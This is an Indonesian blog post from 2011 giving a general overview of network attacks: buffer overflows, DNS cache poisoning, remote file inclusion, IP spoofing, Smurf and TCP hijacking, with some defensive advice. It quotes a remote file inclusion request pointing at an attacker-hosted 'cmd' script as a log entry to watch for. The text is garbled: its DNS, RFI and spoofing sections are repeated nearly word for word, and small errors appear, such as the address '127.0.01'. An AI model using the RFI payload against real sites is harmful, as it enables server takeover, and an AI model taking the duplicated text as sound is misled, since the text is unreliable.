Jumat, 25 Februari 2011

Beberapa jenis serangan terhadap keamanan jaringan

Beberapa serangan umum Buffer overflow, diantaranya: a. Buffer overruns pada kebanyakan Web server Webserver Apache dan IIS memiliki celah keamanan. Worm seperti Code Red (untuk IIS) dan Linux. Slapper (untuk Apache) menjadikan celah keamanan yang lebar. b. DNS overflow Beberapa server DNS (BIND) sebelumnya tergolong rentan terhadap overflow. Suatu serangan yang akan memberikan nama DNS sangat panjang.

Nama DNS dibatasi hingga 64-byte per subkomponen dan 256 byte secara keseluruhan. c. Serangan DNS Server DNS biasanya dijalankan pada mode ‘Trust’ oleh service dan user – maksudnya bahwa server DNS dapat dikompromikan agar melancarkan serangan lebih jauh pada user dan service lainnya. Hal ini menjadikan server DNS merupakan target utama serangan para hacker. d. Mengelabui cache DNS Serangan yang umum terhadap server DNS. Sederhananya, bekerja dengan mengirimkan suatu pertanyaan untuk meminta domain yang sesungguhnya (“siapakah www.test.com ini?) dan akan disediakan jawaban yang tentu saja salah (“www.test.com adalah 127.0.01″). DNS Cache Poisoning DNS Cache Poisoning merupakan sebuah cara untuk menembus pertahanan dengan cara menyampaikan informasi IP Address yang salah mengenai sebuah host, dengan tujuan untuk mengalihkan lalu lintas paket data dari tujuan yang sebenarnya. Cara ini banyak dipakai untuk menyerang situs-situs e-commerce dan banking yang saat ini bisa dilakukan dengan cara online dengan pengamanan Token. Teknik ini dapat membuat sebuah server palsu tampil identik dengan dengan server online banking yang asli. Oleh karena itu diperlukan digital cerficate untuk mengamankannya, agar server palsu tidak dapat menangkap data otentifikasi dari nasabah yang mengaksesnya. Jadi dapat disimpulkan cara kerja DNS (Domain Name System) poisoning ini adalah dengan mengacaukan DNS Server asli agar pengguna Internet terkelabui untuk mengakses web site palsu yang dibuat benar-benar menyerupai aslinya tersebut, agar data dapat masuk ke server palsu. DNS Poisoning sendiri dahulu pertama kali ditunjukkan tahun 1997 oleh Eugene Kashpureff dengan cara mengalihkan request ke host InterNIC menuju ke situs pendaftaran domain name alternatif, AlterNIC. Request berhasil dialihkan dengan cara mengeksploitasi vulnerability pada DNS Service. Pada waktu Name Server menerima jawaban DNS Query, sumber jawaban ini membiarkan informasi yang tidak ditanyakan. Dengan begitu Kashpureff dapat memasukkan informasi DNS palsu pada jawaban yang sebenarnya tersebut. Name server yang menerima jawaban tersebut akan langsung menerima jawaban tersebut dan menyimpan informasi apapun yang didapatkannya dalam cache-nya. Hal ini mengakibatkan apabila user mencoba me-resolve suatu host dalam domain InterNIC, maka ia akan menerima informasi IP Address dari AlterNIC. Dengan kata lain ia sudah dialihkan ke alamat palsu. Remote File Inclusion (RFI) Remote file inclusion dapat diartikan sebagai penyisipan sebuah file dari luar suatu file dalam sebuah webserver dengan tujuan script didalam akan dieksekusi pada saat file yang disisipi di-load. Tehnik ini sendiri mengharuskan webserver yang bersangkutan mampu menjalankan server side scripting (PHP, ASP, etc) serta file yang disisipi dibuat menggunakan bahasa script tersebut. Target remote file inclusion biasanya berbentuk sebuah portal atau content management system (CMS) sehingga banyak sekali jumlah website yang rawan terhadap serangan tipe ini. Sebuah serangan file inclusion terjadi didasarkan pada kesalahan atau ketidaksengajaan pendeklarasian variabel-variabel dalam sebuah file. Sebuah variabel yang tidak dideklarasikan atau didefinisikan secara benar dapat di eksploitasi. File inclusion memiliki level resiko tinggi (High Risk) bahkan level sangat berbahaya(Very Dangerous) karena injeksi memperkenankan pelakunya untuk melakukan eksekusi perintah jarak jauh (Remote Commands Execution) terhadap server. Tindakan ini sangat membahayakan bagi sebuah server jika pelakunya mencoba untuk mendapatkan hak akses lebih tinggi dengan cara melakukan eksploitasi lokal, sehingga bisa saja pelaku mendapatkan akses administrator atau root. Secara garis besar resiko serangan ini adalah: 1. Web root folder / subdirectory defacing. 2. Previledge escalation (mendapatkan hak akses lebih tinggi). 3. Menjalankan proses dalam server (psyBNC, bots, dsb) 4. Pilfering a.k.a pencurian data (such as credentials information, credit cards, dll..) 5. Dan banyak lagi…!!! Termasuk tindakan pengambilalihan server dan ddos. Hal yang bisa dilakukan untuk menghindari dari serangan ini adalah : Banyak sekali portal dan komunitas white hat yang sering merilis bugs terbaru seputar injeksi. Cara paling aman adalah selalu memperhatikan perkembangan yang mereka lakukan sehingga anda dapat melakukan sedikit perbaikan yang berarti terhadap CMS yang mungkin sekarang anda gunakan. Selalu perhatikan raw log yang biasanya terdapat pada layanan hosting anda. Jika terdapat fetching yang agak menyimpang seperti GET /index.php?page=http://www.injek-pake-kaki.net/cmd? anda wajib curiga, karena bisa saja ini serangan terhadap web atau portal yang anda kelola. Salah satu tehnik paling aman bagi seorang administrator adalah selalu memperhatikan usaha-usaha infiltrasi dan usaha eksploitasi lokal. Gunakan firewall guna mencegah penyusupan orang-orang yang tidak bertanggung jawab dan memperhatikan port-port server yang sedang terbuka. IP SPOOFING IP spoofing adalah sejumlah serangan yang menggunakan perubahan sumber IP Address. Protokol TCP/IP tidak memiliki cara untuk memeriksa apakah sumber IP address dalam paket header benar-benar milik mesin yang mengirimkannya. Kemampuan ini sering dimanfaatkan oleh para hacker untuk melancarkan serangan seperti: a. SMURF Attack Suatu Broadcast ping yang terkirim dan sumber IP dari ping terlihat sama dengan IP address korban. Dalam kasus ini sejmlah besar komputer akan merespon balik dan mengirim suatu Ping reply ke korban. Kejadiannya terus berulang-kali, hingga mesin korban atau link mengalami overload dan dalam kondisi Denial of Service. b. Prediksi jumlah rangkaian TCP Suatu koneksi TCP yang ditandai dengan suatu jumlah rangkaian client dan server. Jika jumlah rangkaian tersebut dapat ditebak, para hacker dapat membuat packet dengan memalsukan IP address dan menebak urutan jumlah untuk melakukan hijack koneksi TCP. c. Prediksi rangkaian melalui pemalsuan DNS Server DNS biasanya mengquery server DNS lain untuk mengetahui nama host yang lain. Seorang hacker akan mengirimkan suatu request ke server DNS target seolah-olah seperti respon ke server yang sama. Dengan cara ini para hacker dapat membuat client yang mengakses, misalnya situs www.hotmail.com ke server milik sang hacker. Server DNS biasanya dijalankan pada mode ‘Trust’ oleh service dan user – maksudnya bahwa server DNS dapat dikompromikan agar melancarkan serangan lebih jauh pada user dan service lainnya. Hal ini menjadikan server DNS merupakan target utama serangan para hacker. d. Mengelabui cache DNS Serangan yang umum terhadap server DNS. Sederhananya, bekerja dengan mengirimkan suatu pertanyaan untuk meminta domain yang sesungguhnya (“siapakah www.test.com ini?) dan akan disediakan jawaban yang tentu saja salah (“www.test.com adalah 127.0.01″). DNS Cache Poisoning DNS Cache Poisoning merupakan sebuah cara untuk menembus pertahanan dengan cara menyampaikan informasi IP Address yang salah mengenai sebuah host, dengan tujuan untuk mengalihkan lalu lintas paket data dari tujuan yang sebenarnya. Cara ini banyak dipakai untuk menyerang situs-situs e-commerce dan banking yang saat ini bisa dilakukan dengan cara online dengan pengamanan Token. Teknik ini dapat membuat sebuah server palsu tampil identik dengan dengan server online banking yang asli. Oleh karena itu diperlukan digital cerficate untuk mengamankannya, agar server palsu tidak dapat menangkap data otentifikasi dari nasabah yang mengaksesnya. Jadi dapat disimpulkan cara kerja DNS (Domain Name System) poisoning ini adalah dengan mengacaukan DNS Server asli agar pengguna Internet terkelabui untuk mengakses web site palsu yang dibuat benar-benar menyerupai aslinya tersebut, agar data dapat masuk ke server palsu. DNS Poisoning sendiri dahulu pertama kali ditunjukkan tahun 1997 oleh Eugene Kashpureff dengan cara mengalihkan request ke host InterNIC menuju ke situs pendaftaran domain name alternatif, AlterNIC. Request berhasil dialihkan dengan cara mengeksploitasi vulnerability pada DNS Service. Pada waktu Name Server menerima jawaban DNS Query, sumber jawaban ini membiarkan informasi yang tidak ditanyakan. Dengan begitu Kashpureff dapat memasukkan informasi DNS palsu pada jawaban yang sebenarnya tersebut. Name server yang menerima jawaban tersebut akan langsung menerima jawaban tersebut dan menyimpan informasi apapun yang didapatkannya dalam cache-nya. Hal ini mengakibatkan apabila user mencoba me-resolve suatu host dalam domain InterNIC, maka ia akan menerima informasi IP Address dari AlterNIC. Dengan kata lain ia sudah dialihkan ke alamat palsu. Remote File Inclusion (RFI) Remote file inclusion dapat diartikan sebagai penyisipan sebuah file dari luar suatu file dalam sebuah webserver dengan tujuan script didalam akan dieksekusi pada saat file yang disisipi di-load. Tehnik ini sendiri mengharuskan webserver yang bersangkutan mampu menjalankan server side scripting (PHP, ASP, etc) serta file yang disisipi dibuat menggunakan bahasa script tersebut. Target remote file inclusion biasanya berbentuk sebuah portal atau content management system (CMS) sehingga banyak sekali jumlah website yang rawan terhadap serangan tipe ini. Sebuah serangan file inclusion terjadi didasarkan pada kesalahan atau ketidaksengajaan pendeklarasian variabel-variabel dalam sebuah file. Sebuah variabel yang tidak dideklarasikan atau didefinisikan secara benar dapat di eksploitasi. File inclusion memiliki level resiko tinggi (High Risk) bahkan level sangat berbahaya(Very Dangerous) karena injeksi memperkenankan pelakunya untuk melakukan eksekusi perintah jarak jauh (Remote Commands Execution) terhadap server. Tindakan ini sangat membahayakan bagi sebuah server jika pelakunya mencoba untuk mendapatkan hak akses lebih tinggi dengan cara melakukan eksploitasi lokal, sehingga bisa saja pelaku mendapatkan akses administrator atau root. Secara garis besar resiko serangan ini adalah: 1. Web root folder / subdirectory defacing. 2. Previledge escalation (mendapatkan hak akses lebih tinggi). 3. Menjalankan proses dalam server (psyBNC, bots, dsb) 4. Pilfering a.k.a pencurian data (such as credentials information, credit cards, dll..) 5. Dan banyak lagi…!!! Termasuk tindakan pengambilalihan server dan ddos. Hal yang bisa dilakukan untuk menghindari dari serangan ini adalah : Banyak sekali portal dan komunitas white hat yang sering merilis bugs terbaru seputar injeksi. Cara paling aman adalah selalu memperhatikan perkembangan yang mereka lakukan sehingga anda dapat melakukan sedikit perbaikan yang berarti terhadap CMS yang mungkin sekarang anda gunakan. Selalu perhatikan raw log yang biasanya terdapat pada layanan hosting anda. Jika terdapat fetching yang agak menyimpang seperti GET /index.php?page=http://www.injek-pake-kaki.net/cmd? anda wajib curiga, karena bisa saja ini serangan terhadap web atau portal yang anda kelola. Salah satu tehnik paling aman bagi seorang administrator adalah selalu memperhatikan usaha-usaha infiltrasi dan usaha eksploitasi lokal. Gunakan firewall guna mencegah penyusupan orang-orang yang tidak bertanggung jawab dan memperhatikan port-port server yang sedang terbuka. IP SPOOFING IP spoofing adalah sejumlah serangan yang menggunakan perubahan sumber IP Address. Protokol TCP/IP tidak memiliki cara untuk memeriksa apakah sumber IP address dalam paket header benar-benar milik mesin yang mengirimkannya. Kemampuan ini sering dimanfaatkan oleh para hacker untuk melancarkan serangan seperti: a. SMURF Attack Suatu Broadcast ping yang terkirim dan sumber IP dari ping terlihat sama dengan IP address korban. Dalam kasus ini sejmlah besar komputer akan merespon balik dan mengirim suatu Ping reply ke korban. Kejadiannya terus berulang-kali, hingga mesin korban atau link mengalami overload dan dalam kondisi Denial of Service. b. Prediksi jumlah rangkaian TCP Suatu koneksi TCP yang ditandai dengan suatu jumlah rangkaian client dan server. Jika jumlah rangkaian tersebut dapat ditebak, para hacker dapat membuat packet dengan memalsukan IP address dan menebak urutan jumlah untuk melakukan hijack koneksi TCP. c. Prediksi rangkaian melalui pemalsuan DNS Server DNS biasanya mengquery server DNS lain untuk mengetahui nama host yang lain. Seorang hacker akan mengirimkan suatu request ke server DNS target seolah-olah seperti respon ke server yang sama. Dengan cara ini para hacker dapat membuat client yang mengakses, misalnya situs www.hotmail.com ke server milik sang hacker.

Tidak ada komentar:

Posting Komentar


Ferdi van Oyiig !